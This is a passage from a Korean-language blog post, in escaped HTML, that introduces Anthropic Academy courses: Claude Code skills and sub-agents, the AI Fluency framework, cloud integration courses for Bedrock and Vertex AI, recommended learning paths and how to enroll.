&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 20px; border-radius: 8px; margin: 15px 0; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; overflow-x: auto; border: 1px solid #333;&quot;&gt;
&lt;pre class=&quot;jboss-cli&quot; style=&quot;margin: 0; white-space: pre-wrap;&quot;&gt;&lt;code&gt;# SKILL.md 예시 (프로젝트 루트에 저장)
/review-pr     - PR 코드 리뷰 자동화
/deploy-staging - 스테이징 환경 배포
/simplify      - 코드 품질&amp;middot;가독성 개선 (빌트인)
/batch         - 대규모 병렬 코드 변경 (빌트인)
/debug         - 현재 세션 디버깅 분석 (빌트인)&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt; Sub-agents (빌트인 에이전트)&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude Code에는 역할에 따라 최적화된 빌트인 서브에이전트가 있으며, &lt;code&gt;.claude/agents/&lt;/code&gt; 디렉토리에 커스텀 에이전트를 직접 정의할 수도 있다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 10px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;에이전트&lt;/th&gt;
&lt;th style=&quot;padding: 10px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;모델&lt;/th&gt;
&lt;th style=&quot;padding: 10px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;권한&lt;/th&gt;
&lt;th style=&quot;padding: 10px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;최적 용도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Explore&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 15px; border: 1px solid #b3d9ff;&quot;&gt;Haiku&lt;/td&gt;
&lt;td style=&quot;padding: 8px 15px; border: 1px solid #b3d9ff;&quot;&gt;읽기 전용&lt;/td&gt;
&lt;td style=&quot;padding: 8px 15px; border: 1px solid #b3d9ff;&quot;&gt;코드베이스 탐색&amp;middot;분석 (빠르고 저렴)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 8px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Plan&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 15px; border: 1px solid #b3d9ff;&quot;&gt;상속 (기본: Sonnet)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 15px; border: 1px solid #b3d9ff;&quot;&gt;읽기 전용&lt;/td&gt;
&lt;td style=&quot;padding: 8px 15px; border: 1px solid #b3d9ff;&quot;&gt;구현 계획 수립, 아키텍처 설계&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 8px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;general-purpose&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 8px 15px; border: 1px solid #b3d9ff;&quot;&gt;상속 (기본: Sonnet)&lt;/td&gt;
&lt;td style=&quot;padding: 8px 15px; border: 1px solid #b3d9ff;&quot;&gt;모든 도구&lt;/td&gt;
&lt;td style=&quot;padding: 8px 15px; border: 1px solid #b3d9ff;&quot;&gt;파일 수정, 코드 작성 등 범용 작업&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt; Sub-agents vs Agent Teams 차이&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Sub-agents&lt;/b&gt;는 단일 세션 내에서 메인 Claude가 특정 작업을 위임하는 방식이다 (상하 관계).&lt;br /&gt;&lt;b&gt;Agent Teams&lt;/b&gt; (실험적)는 여러 Claude Code 인스턴스가 공유 태스크 목록을 통해 협업하는 방식이다 (peer-to-peer). GitHub Actions 등 CI/CD 환경에서도 활용 가능하다.&lt;/p&gt;
&lt;/div&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;멀티 에이전트 병렬 실행:&lt;/b&gt; 독립적인 작업을 여러 에이전트에 동시 위임하여 처리 속도 향상&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;CI/CD 통합:&lt;/b&gt; GitHub Actions, GitLab CI/CD에서 에이전트를 자동화 파이프라인에 통합&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;완전한 제어권:&lt;/b&gt; Claude Code Agent SDK로 도구 접근 권한 및 오케스트레이션 직접 정의&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4: AI 유창성 시리즈 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. Claude 기초 &amp;amp; AI 유창성 시리즈&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;① Claude 101&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Claude 101&lt;/b&gt;은 업무에서 Claude를 효과적으로 활용하는 방법을 배우는 기초 과정이다. 개발자가 아닌 일반 직장인도 수강할 수 있도록 설계되어 있으며, Claude의 핵심 기능과 고급 학습 자료까지 다룬다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude를 처음 접하는 사람이라면 이 과정부터 시작하는 것이 좋다. 프롬프트 작성 기초, Claude의 강점과 한계, 실무 적용 사례 등을 다룬다.&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;② AI Fluency: Framework &amp;amp; Foundations&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;AI Fluency&lt;/b&gt;는 AI와 효과적이고, 효율적이며, 윤리적이고 안전하게 협업하는 방법론을 다루는 과정이다. 단순한 도구 사용법을 넘어 AI 협업의 프레임워크를 구축하는 것이 목표다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e3f2fd; border-left: 4px solid #2196f3; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt; AI Fluency의 4D 프레임워크&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 8px; margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;효과적이고 책임 있는 AI 협업을 위한 4가지 핵심 역량이다.&lt;/p&gt;
&lt;ul style=&quot;margin: 10px 0 0 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Delegation (위임):&lt;/b&gt; AI에게 무엇을 맡길지 판단하는 역량. 어떤 작업이 AI에 적합한지, 어떤 작업은 인간이 해야 하는지 구분&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Description (기술):&lt;/b&gt; AI에게 올바르게 요청하는 역량. 목표, 맥락, 제약 조건을 명확히 전달하는 프롬프팅 스킬&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Discernment (판별):&lt;/b&gt; AI 출력물을 검증&amp;middot;평가하는 역량. 결과의 정확성, 관련성, 윤리성을 비판적으로 검토&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;Diligence (성실):&lt;/b&gt; AI를 책임감 있게 사용하는 역량. 저작권, 프라이버시, 편향 등 위험 요소를 인식하고 대응&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt; 학술 협력 개발 &amp;amp; Creative Commons 라이선스&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;AI Fluency 코스는 &lt;b&gt;Prof. Joseph Feller (University College Cork)&lt;/b&gt;와 &lt;b&gt;Prof. Rick Dakan (Ringling College of Art and Design)&lt;/b&gt; 교수진과 공동 개발했다. Creative Commons 라이선스로 제공되어 어떤 교육기관이든 커리큘럼에 자유롭게 적용할 수 있다.&lt;/p&gt;
&lt;/div&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;③ 역할별 특화 AI 유창성 과정&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic Academy의 특징 중 하나는 &lt;b&gt;역할별 맞춤 과정&lt;/b&gt;을 제공한다는 점이다. AI Fluency 기반 과정 외에도 각 역할에 최적화된 버전이 있다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 25px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f4f8;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;과정&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;대상&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #b3d9ff; font-weight: 600;&quot;&gt;특징&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;AI Fluency for Educators&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;교사, 교수, 교육 전문가&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;수업에서 AI 활용, 학생 AI 리터러시 교육&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;AI Fluency for Students&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;학생&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;학업, 연구, 프로젝트에서 AI 활용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;AI Fluency for Nonprofits&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;비영리단체 직원&amp;middot;운영자&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;비영리 미션에서 AI 도입, 제한된 자원 활용&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8fbff;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;&lt;b&gt;Teaching AI Fluency&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;AI 유창성을 가르칠 강사&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #b3d9ff;&quot;&gt;AI 유창성 교육 설계 및 전달 방법론&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 5: 클라우드 통합 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;5. 클라우드 통합 코스&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Claude는 Anthropic의 직접 API 외에도 &lt;b&gt;Amazon Bedrock&lt;/b&gt;과 &lt;b&gt;Google Cloud Vertex AI&lt;/b&gt;를 통해서도 사용할 수 있다. 이미 AWS나 GCP 인프라를 사용하는 기업이라면 기존 클라우드 환경 내에서 Claude를 통합할 수 있다.&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;① Claude with Amazon Bedrock&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;AWS 인프라를 활용하는 기업이 Amazon Bedrock을 통해 Claude를 사용하는 방법을 다루는 과정이다. &lt;b&gt;원래 AWS 직원 전용으로 개발된 코스가 무료 공개된 것&lt;/b&gt;으로, AWS의 클라우드 아키텍처 전문성을 그대로 담고 있다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;대상:&lt;/b&gt; AWS 환경을 이미 사용하는 기업 개발자 및 아키텍트&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;장점:&lt;/b&gt; 기존 AWS IAM, VPC, CloudWatch 등과 통합, 서버리스 아키텍처에서 Claude 구현&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;내용:&lt;/b&gt; 보안 구성, 권한 관리, 엔터프라이즈 배포를 위한 비용 최적화 포함&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;접근:&lt;/b&gt; Claude Code CLI에서 Bedrock을 써드파티 프로바이더로 설정하여 사용 가능&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;② Claude with Google Cloud's Vertex AI&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Google Cloud Platform(GCP) 환경에서 Vertex AI를 통해 Claude를 사용하는 방법을 다루는 과정이다. Google Cloud의 보안 및 인프라를 그대로 활용하면서 Claude의 기능을 사용할 수 있다.&lt;/p&gt;
&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;대상:&lt;/b&gt; GCP 환경을 사용하는 기업 개발자 및 아키텍트&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;장점:&lt;/b&gt; Google Cloud의 ML 파이프라인, BigQuery 등과 통합 가능&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;접근:&lt;/b&gt; Claude Code에서 Vertex AI를 써드파티 프로바이더로 지원&lt;/li&gt;
&lt;/ul&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 15px; border-left: 4px solid #0066cc; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;클라우드 통합 코스, 누가 들어야 할까?&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;이미 AWS 또는 GCP 인프라가 갖춰진 기업에서 Claude를 도입하려는 경우, 데이터 거버넌스&amp;middot;보안 정책 때문에 써드파티 API를 직접 사용하기 어려운 경우, 또는 클라우드 마켓플레이스를 통한 통합 과금을 원하는 경우에 특히 유용하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 6: 학습 경로 추천 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;6. 대상별 학습 경로 추천&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;13개 코스를 모두 들을 필요는 없다. 자신의 상황과 목표에 맞는 코스를 선택하는 것이 효율적이다.&lt;/p&gt;
&lt;!-- Q&amp;A 스타일 학습 경로 --&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;코스 A: 개발자 입문 경로&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;대상:&lt;/b&gt; Claude를 처음 접하는 개발자&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;추천 순서:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Claude 101 &amp;rarr; 기초 개념 이해&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Claude Code in Action &amp;rarr; 개발 도구로 Claude 활용&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Building with the Claude API &amp;rarr; API 기반 개발&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;코스 B: MCP 전문가 경로&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;대상:&lt;/b&gt; AI와 외부 도구 연동 시스템을 구축하려는 개발자&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;추천 순서:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Building with the Claude API &amp;rarr; API 기초&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Introduction to MCP &amp;rarr; MCP 개념 이해&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;MCP: Advanced Topics &amp;rarr; 심화 MCP 서버 구축&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Introduction to Agent Skills &amp;rarr; 에이전트 통합&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;코스 C: 기업 클라우드 도입 경로&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;대상:&lt;/b&gt; AWS/GCP 기반 기업에서 Claude 도입을 검토하는 아키텍트&amp;middot;개발자&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;추천 순서:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Building with the Claude API &amp;rarr; API 패턴 이해&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Claude with Amazon Bedrock 또는 Claude with Google Cloud's Vertex AI&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;&amp;zwj; 코스 D: 교육자 경로&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;대상:&lt;/b&gt; AI를 수업에 도입하거나 AI 교육을 담당하는 교육자&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;추천 순서:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Claude 101 &amp;rarr; Claude 기본 이해&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;AI Fluency: Framework &amp;amp; Foundations &amp;rarr; AI 활용 방법론&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;AI Fluency for Educators &amp;rarr; 교육 현장 특화 내용&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Teaching AI Fluency &amp;rarr; AI 유창성을 가르치는 방법 (선택)&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f0f4f8; padding: 20px 25px; border-radius: 12px; border: 1px solid #d0d9e3; margin-bottom: 20px;&quot;&gt;
&lt;h4 style=&quot;font-size: 17px; color: #1a3a52; margin: 0 0 12px 0; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;코스 E: 비개발자 / AI 초보자 경로&lt;/h4&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;대상:&lt;/b&gt; 개발 배경이 없지만 업무에 AI를 도입하고 싶은 직장인&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;추천 순서:&lt;/b&gt;&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 10px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;Claude 101 &amp;rarr; 가장 먼저&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;AI Fluency: Framework &amp;amp; Foundations&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 7: 수강 방법 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;7. 수강 방법 (등록 절차)&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic Academy 수강 절차는 간단하다.&lt;/p&gt;
&lt;ol style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 12px;&quot;&gt;&lt;b&gt;플랫폼 접속:&lt;/b&gt; &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://anthropic.skilljar.com&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://anthropic.skilljar.com&lt;/a&gt; 으로 이동한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 12px;&quot;&gt;&lt;b&gt;회원가입 / 로그인:&lt;/b&gt; 이메일 계정으로 회원가입 후 로그인한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 12px;&quot;&gt;&lt;b&gt;코스 선택:&lt;/b&gt; 메인 페이지에서 원하는 코스를 선택한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 12px;&quot;&gt;&lt;b&gt;등록:&lt;/b&gt; 코스 페이지에서 등록(Enroll) 버튼을 클릭한다&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 12px;&quot;&gt;&lt;b&gt;수강 시작:&lt;/b&gt; 등록 후 커리큘럼 목록에서 학습을 시작한다&lt;/li&gt;
&lt;/ol&gt;
&lt;div style=&quot;background-color: #d4edda; border-left: 4px solid #28a745; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt; 수강 전 준비사항 (개발자 과정의 경우)&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;- &lt;b&gt;Claude Code 과정:&lt;/b&gt; Claude 구독 (Pro, Max, Teams, Enterprise) 또는 Console 계정 필요&lt;br /&gt;- &lt;b&gt;API 과정:&lt;/b&gt; Anthropic Console 계정 (console.anthropic.com) 및 API 키&lt;br /&gt;- &lt;b&gt;클라우드 통합 과정:&lt;/b&gt; AWS 또는 GCP 계정&lt;br /&gt;- &lt;b&gt;AI 유창성 과정:&lt;/b&gt; 특별한 사전 준비 불필요&lt;/p&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt; Coursera에서도 수강 가능&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 10px;&quot; data-ke-size=&quot;size16&quot;&gt;일부 Anthropic Academy 코스는 Coursera 플랫폼에서도 제공된다. Coursera의 &lt;b&gt;&quot;Real-World AI for Everyone&quot;&lt;/b&gt; Specialization에는 Building with the Claude API, Claude Code in Action 등 개발자 심화 코스가 포함되어 있다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;주의:&lt;/b&gt; Coursera에서 수강 시 &lt;b&gt;수료증은 유료&lt;/b&gt;다 (감사 모드 무료 청강은 가능). Anthropic Academy 자체 플랫폼에서는 수료증이 &lt;b&gt;무료&lt;/b&gt;로 발급된다. 수료증이 필요하다면 &lt;a style=&quot;color: #0066cc;&quot; href=&quot;https://anthropic.skilljar.com&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;&lt;b&gt;anthropic.skilljar.com&lt;/b&gt;&lt;/a&gt;을 이용하는 것을 권장한다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 8: 결론 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;8. 결론&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Anthropic Academy는 Claude와 AI를 제대로 배우고 싶은 모든 사람에게 강력히 추천할 수 있는 공식 학습 플랫폼이다.&lt;/p&gt;
